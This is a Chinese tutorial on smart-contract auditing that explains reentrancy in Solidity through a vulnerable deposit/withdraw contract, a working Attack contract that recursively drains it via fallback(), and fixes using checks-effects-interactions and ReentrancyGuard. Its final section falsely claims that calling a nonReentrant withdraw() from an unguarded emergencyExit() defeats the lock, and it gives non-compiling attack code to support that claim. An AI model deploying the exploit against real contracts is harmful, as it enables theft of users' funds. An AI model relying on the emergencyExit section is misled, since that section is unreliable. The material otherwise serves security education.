当前位置: 首页 > news >正文

【区块链安全 | 第三十四篇】合约审计之重入漏洞

文章目录

    • 概念
    • 漏洞代码
    • 代码审计
    • 攻击代码
    • 攻击过程总结
    • 示例
    • 修复建议
    • 审计思路

在这里插入图片描述

概念

以太坊的智能合约可以互相调用,也就是说,一个合约可以调用另一个合约的函数。除了外部账户,合约本身也可以持有以太币并进行转账。当合约接收到以太币时,通常会触发一个叫做 fallback 的函数来执行一些特定的操作。这就是所谓的“隐蔽的外部调用”。

重入漏洞的问题出现在合约的外部调用上,尤其是当目标是一个恶意的合约时。攻击者可能会利用这种外部调用,在被攻击的合约中执行一些恶意逻辑。举个例子,当合约调用恶意合约时,恶意合约可以通过某些方式重新进入被攻击的合约,重复执行一些操作,甚至发起非预期的交易,从而破坏合约的正常逻辑。

换句话说,重入漏洞就是攻击者利用合约间外部调用的机制,在合约中反复进入,造成不希望发生的行为,通常会导致合约的资金被盗取。

漏洞代码

以下为典型的存在重入漏洞的合约代码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;contract EtherStore {mapping(address => uint) public balances;// 存款函数function deposit() public payable {// 增加余额balances[msg.sender] += msg.value;}// 提款函数function withdraw() public {// 提款前,余额需大于0uint bal = balances[msg.sender];require(bal > 0, "Insufficient balance");// 先发送以太(bool sent, ) = msg.sender.call{value: bal}("");require(sent, "Failed to send Ether");// 再清除余额balances[msg.sender] = 0;}// 查询合约余额function getBalance() public view returns (uint) {return address(this).balance;}
}

不难看出,该 EtherStore 合约是一个充提合约。

代码审计

我们重点关注 withdraw() 函数:

    // 提款函数function withdraw() public {// 提款前,余额需大于0uint bal = balances[msg.sender];require(bal > 0, "Insufficient balance");// 先发送以太(bool sent, ) = msg.sender.call{value: bal}("");require(sent, "Failed to send Ether");// 再清除余额balances[msg.sender] = 0;}

这一段代码执行了转账操作,实现了外部调用:

        // 先发送以太(bool sent, ) = msg.sender.call{value: bal}("");require(sent, "Failed to send Ether");

因此我们需要特别关注这里是否存在重入漏洞。

我们可以看到,在 withdraw 函数中,合约是先执行外部调用进行转账,然后才将用户的账户余额清零。那么,我们就可以构造一个恶意合约,在接收到转账时,通过回调函数在 balances[msg.sender] = 0 这一行执行之前,不断递归调用 withdraw 函数重复提现,从而将整个合约的余额逐步提空。

攻击代码

仔细查看代码注释:

contract Attack {EtherStore public etherStore;constructor(address _etherStoreAddress) { // 构造函数的声明etherStore = EtherStore(_etherStoreAddress);// 把传入的地址 _etherStoreAddress 转换为 EtherStore 类型的合约实例,并赋值给 etherStore 这个变量}// 相当于传入受害合约// 当合约收到以太币时,// 如果没有 receive() 函数,或者调用的数据不匹配任何函数签名,// 就会触发 fallback() 函数// 因此,当 EtherStore 合约向 Attack 合约发送以太币时,这个 fallback() 就会被自动触发// 然后检查 EtherStore 当前余额是否仍然大于等于 1 ETH;// 如果是,就再次调用 etherStore.withdraw();fallback() external payable {if (address(etherStore).balance >= 1 ether) {etherStore.withdraw();}}function attack() external payable {require(msg.value >= 1 ether);etherStore.deposit{value: 1 ether}(); // 向 EtherStore 合约存入 1 ETH,增加其余额// 从 EtherStore 中提取资金etherStore.withdraw();// 提取到资金后,就会触发本合约的 fallback() }// 辅助函数:查看该合约的余额function getBalance() public view returns (uint) {return address(this).balance;}
}

攻击过程总结

1.攻击者首先调用 attack(),并向 EtherStore 合约发送 1 ETH。

2.然后,Attack 合约将这 1 ETH 存入 EtherStore 合约。

由于在 EtherStore 合约提款时,余额需大于0,因此需提前存入 1 ETH 满足提款条件,进而触发下文的第4点。

3.紧接着,攻击者调用 Attack 合约中的 withdraw(),从 EtherStore 提取资金。

4.EtherStore 合约向 Attack 合约转账,触发 Attack 合约的 fallback() 函数。

5.在 Attack 合约的 fallback() 中,Attack 合约再次调用 withdraw(),重复这个过程,直到 EtherStore 合约的余额被完全提取。

示例

我们假设有三个角色参与本次攻击:

  • 用户 Alice
  • 用户 Bob
  • 攻击者 Eve

整个攻击过程如下。

1.部署 EtherStore 合约。

2.用户 Alice 和用户 Bob 各向 EtherStore 合约充值 1 个以太币。此时合约总余额为 2 ETH。

3.攻击者 Eve 部署 Attack 合约,并在部署时传入 EtherStore 合约地址,完成初始化。

4.Eve 调用 Attack.attack() 函数,向 EtherStore 合约存入 1 个以太币,以建立合法的余额记录;

5.此时 EtherStore 合约中共有 3 ETH,分别来自 Alice、Bob 和 Eve。

6.攻击者调用 EtherStore.withdraw() 提现这 1 ETH。

7.在提现过程中,EtherStore 合约会向 Attack 合约发送 1 ETH,进而触发 Attack 合约的 fallback() 函数。

8.在 fallback() 中,只要 EtherStore 合约余额仍大于等于 1 ETH,Attack 合约就会递归调用 withdraw(),不断重复提现。

9.最终,直到 EtherStore 合约余额低于 1 ETH,攻击循环才会停止。

10.此时:

  • Alice 和 Bob 原本的 2 ETH 已被攻击者转移走;
  • 攻击者 Eve 获得了合约中所有剩余的资金。

修复建议

1.先更新状态,再进行外部调用
我们应避免在修改状态变量之前进行外部调用。因此,我们可以将 balances[msg.sender] = 0; 移动到转账语句之前。

    // 提款函数function withdraw() public {// 提款前,余额需大于0uint bal = balances[msg.sender];require(bal > 0, "Insufficient balance");// 先清除余额balances[msg.sender] = 0;// 再发送以太(bool sent, ) = msg.sender.call{value: bal}("");require(sent, "Failed to send Ether");

此时你可能有疑问:“把 balances[msg.sender] = 0; 放在转账前,不就把余额清零了吗?那转账的那一行怎么实现?”

注意:第 1 行我们用 uint bal = balances[msg.sender]; 把用户余额先读出来,赋值给了一个局部变量 bal;即使我们随后把 balances[msg.sender] 设置为 0,不会影响 bal 的值;最后转账时,用的不是 balances[msg.sender],而是我们事先保存下来的 bal,所以不会出问题。

2.使用“重入锁”(Reentrancy Guard)
可以引入互斥锁(mutex)机制,防止函数被递归调用。OpenZeppelin 提供了非常成熟的 ReentrancyGuard 合约。

示例代码如下:

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";contract EtherStore is ReentrancyGuard {mapping(address => uint) public balances;// 存款函数function deposit() public payable {balances[msg.sender] += msg.value;}// nonReentrant 是 ReentrancyGuard 提供的一个修饰器(modifier)// 一旦 withdraw() 开始执行,就不允许再次进入,直到它执行完毕function withdraw() public nonReentrant {uint bal = balances[msg.sender];require(bal > 0, "Insufficient balance");balances[msg.sender] = 0;(bool sent, ) = msg.sender.call{value: bal}("");require(sent, "Failed to send Ether");}
}

此时你可能又有一个问题:“我已经用了 nonReentrant,那我是不是就可以把转账写在前,清零写在后?”

不行。理由如下:

1.“状态先改,再调用外部合约”,满足 Solidity 安全开发的通用原则:Checks-Effects-Interactions Pattern。

2.你未来可能会在 EtherStore 合约中新增一个“退出合约”或“紧急退款”功能,比如编写了一个 emergencyExit() 函数,内部帮助用户调用 withdraw()。但如果这个函数未加 nonReentrant 修饰器,就可能引发重入风险。示例如下:

function emergencyExit() public {     // emergencyExit() 后忘记加 nonReentrantwithdraw(); // 调用了已经加锁的 withdraw()
}

虽然 withdraw() 本身是有 nonReentrant 修饰器的,但由于它是被合约内部直接调用的(即内部函数调用),不会触发 ReentrancyGuard 的锁机制。因为锁机制依赖的是“重新进入函数”的检测,而这种调用路径仍然沿着原始的调用栈执行,并未重新进入函数上下文。

攻击者只需修改代码如下,即可再次导致重入攻击的发生:

contract Attack {EtherStore public etherStore;constructor(address _etherStoreAddress) { // 构造函数的声明etherStore = EtherStore(_etherStoreAddress);// 把传入的地址 _etherStoreAddress 转换为 EtherStore 类型的合约实例,并赋值给 etherStore 这个变量}// 相当于传入受害合约// 当合约收到以太币时,// 如果没有 receive() 函数,或者调用的数据不匹配任何函数签名,// 就会触发 fallback() 函数// 因此,申请紧急退款时,EtherStore 合约向 Attack 合约发送以太币,这个 fallback() 就会被自动触发// 然后检查 EtherStore 当前余额是否仍然大于等于 1 ETH;// 如果是,就再次调用 emergencyExit()fallback() external payable {if (address(etherStore).balance >= 1 ether) {emergencyExit()}}function attack() external payable {require(msg.value >= 1 ether);etherStore.deposit{value: 1 ether}(); // 向 EtherStore 合约存入 1 ETH,增加其余额// 调用紧急退款,从 EtherStore 提取资金emergencyExit()// 提取到资金后,触发本合约的 fallback() }// 辅助函数:查看该合约的余额function getBalance() public view returns (uint) {return address(this).balance;}
}

审计思路

所有涉及外部合约调用的代码位置都可能存在安全风险。因此,在审计过程中,我们应重点审查这些外部调用的部分,并深入推演可能产生的危害。通过这种方式,我们能够有效判断是否存在重入漏洞的风险,并采取相应的防护措施。

最后要注意:使用 call 函数进行转账容易发生重入攻击,因为 call 是低级函数,call 在执行后会执行目标地址(msg.sender)的 fallback 或 receive 函数,即将控制权交给目标合约。


http://www.mrgr.cn/news/97509.html

相关文章:

  • 深入解析嵌入式Linux系统架构:从Bootloader到用户空间
  • OpenCv(七)——模板匹配、打包、图像的旋转
  • 【UnityEditor扩展】如何在 Unity 中创建棱柱体(用作VR安全区检测),同时在编辑器插件中实现与撤销/恢复功能
  • HTTP 教程 : 从 0 到 1 全面指南 教程【全文三万字保姆级详细讲解】
  • WEB安全-CTF中的PHP反序列化漏洞
  • 2018年真题
  • SQL:Primary Key(主键)和Foreign Key(外键)
  • 【加密算法】SM4国密算法原理、C++跨平台实现(含完整代码和示例)
  • TCP/IP五层协议
  • 网易运维面试题及参考答案
  • 激光干涉仪学习
  • Linux-CentOS-7—— 安装MySQL 8
  • 设计模式 四、行为设计模式(1)
  • AI烘焙大赛中的算法:理解PPO、GRPO与DPO最简单的方式
  • Python 之 Pandas 常用操作
  • 项目难点亮点
  • 大数据(5)Spark部署核弹级避坑指南:从高并发集群调优到源码级安全加固(附万亿级日志分析实战+智能运维巡检系统)
  • 英语学习 4.7
  • 红宝书第三十一讲:通俗易懂的包管理器指南:npm 与 Yarn
  • C#结合SQLite数据库使用方法